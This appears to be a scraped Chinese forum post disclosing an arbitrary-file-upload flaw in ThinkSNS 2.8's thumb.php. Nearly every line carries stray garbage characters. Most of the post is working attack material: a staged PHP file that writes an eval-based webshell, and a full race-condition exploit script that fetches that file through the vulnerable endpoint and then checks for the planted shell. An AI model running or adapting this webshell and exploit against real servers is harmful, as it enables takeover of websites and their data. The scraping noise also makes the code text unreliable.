漏洞版本( c9 y% K* K2 {3 l8 w5 {& U
存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)
4 e3 `# d; N! A* f, A9 b) q5 J漏洞文件
0 C6 {& l3 c$ L$ j0 A9 f存在漏洞的文件为:thumb.php
. S, b- R( G0 x: x作者:韦鲲鹏# H2 c* ~" b5 Z/ q' `# v- y1 w. i
1、 准备如下PHP文件并上传到服务器(自己的)。3 \0 D% J* V/ w' J- n
文件内容如下:
0 w% x6 y# \% }1 o% D: C2 [<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>' A- v2 f6 T$ I3 M
2、 计算出临时的文件名:
- N. @% A$ w) e! Q' B这里我们可以看文件的99行(刚刚是不是没注意呀!)。; m# J" m2 Y0 Y# a' t% ?- |% m
. |; |) H+ {5 d6 M, ?" m; ~% S
3、 上传临时文件。. [2 V* L6 f# ]# L- e
4、 访问临时文件。, C6 _' {1 Y7 U) w* D, ~
但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。): D" B, R$ y. w
Exploit文件内容如下:(这个我就不详细解释了): |9 y% \7 p! }; g* l ?; u
<?php
6 X3 }6 N% _+ {# r4 g0 yerror_reporting(0);
) | G! T5 [8 V& I9 K0 l3 v# oset_time_limit(0);
) i5 t! o9 ]# S1 w8 }ini_set(“default_socket_timeout”, 5);5 g+ s* a1 }% W, F" i2 g
function http_send($host, $port, $headers) {
" e. x% R/ e4 n$fp = fsockopen($host, $port);
' y3 z$ o! n6 ^if (!$fp) die(‘Connection -> fail’);
0 r( x( K: s( y5 b0 _) I6 @fputs($fp, $headers);5 q, o) x3 f! q1 O4 {
return $fp;
+ l ~* O& z+ w0 ^9 B% f}* m9 b' a6 b$ l; w
function http_recv($fp) {
6 _1 w2 h. U+ u$ R& k/ l( V% S" _$ret=”";% j$ |# O) P7 J/ [4 i7 F- B
while (!feof($fp))
s. `$ S p2 d+ }$ret.= fgets($fp, 1024);" M9 }2 O$ [ a2 [ q/ ^& K
fclose($fp);
, O# V# M( O& C2 Ereturn $ret;
; L+ }8 v2 |8 J0 w8 o* W4 w}: z4 V& f/ T: p4 v
print “\n# ThinkSns Arbitrary File Upload #\n”;: H- |/ S4 l( m3 S
print “# Discovered by 韦鲲鹏 #\n\n”;$ _5 d8 a7 w. \
if ($argc < 4) {
7 X/ ~/ N! w7 x1 x: ?* Oprint “Usage: php <host> <path> <romote_url>\n”;
( L, g: f1 K* D3 |2 q1 b: Vprint “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;! |9 Q; l% B! L0 V6 B, L( g
die();
9 R1 \2 J; F! y" ?}. |0 E3 E( W4 G* u- h: R; ]
$host = $argv[1];
7 w6 l u' w, v. k5 A+ r, H& z2 B4 z$path = $argv[2];6 g2 t c: O( m1 j. V
$url = $argv[3];3 W) Q; R0 j% L9 l
$i=0;" h) |; E1 v* _3 _! S
//上传数据包1 V0 I5 Z2 I+ ]$ O
$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
! n# @& x: R! E( z2 E$headers_up .= “Host: “.$host.”\r\n”;) I, }7 t# P9 p" z1 Z0 b( ^
$headers_up .= “Connection: close\r\n\r\n”;: z. {' B$ M9 {! P3 z3 a! V6 m
echo $headers_up;3 x1 }6 A q) U/ v5 S- R- z& K
//临时文件访问数据包9 r" ~0 s0 P6 S0 f9 N2 [# K
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;! I6 P) |1 y4 ]1 a1 @" ~+ n
$headers .= “Host: “.$host.”\r\n”;) p9 E. _ Y: |9 c4 I
$headers .= “Connection: close\r\n\r\n”;
0 b9 F7 d" a( w" q+ secho $headers;
6 s" Q k2 q E1 f! e- Kwhile(++$i<10) {
! D0 Q" u6 V( |fclose(http_send($host, 80, $headers));
; R7 {; @* O$ ^$ u}
1 }9 ~+ T; v0 x2 L- w1 I6 ?, wfclose(http_send($host, 80, $headers_up));$ j/ J; ~4 X* ?$ b9 H. l% d
while(++$i<50) {
) u& t9 l$ L; _8 M3 |+ Ffclose(http_send($host, 80, $headers));# K2 S. E+ i, }0 U
}5 |' r+ A7 x; v* K9 d S+ r$ M+ [
$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
+ |0 k5 i7 r& f1 n7 k& ?5 R$headers .= “Host: “.$host.”\r\n”;
$ c7 F$ ?5 D4 P4 @& F+ ]* a$headers .= “Connection: close\r\n\r\n”;! I: |5 _1 D* E8 O+ [ p
$res=http_recv(http_send($host, 80, $headers));5 _& E5 C0 T( Q, A" q0 _
if(preg_match(‘/200 OK/’,$res)) {8 a0 W4 l, C2 L) b9 `9 D
print “Success!\n\n”;
! s j7 R0 P$ R& W} else {
. l, `! }5 D+ i0 l9 {& ]1 H# u# Lprint “Fail!\n\n”;
$ r/ T) X& v; O v) F Y}
# Q9 l( c0 O; b?>
2 @8 K) @! E0 |2 w8 f2 t' B |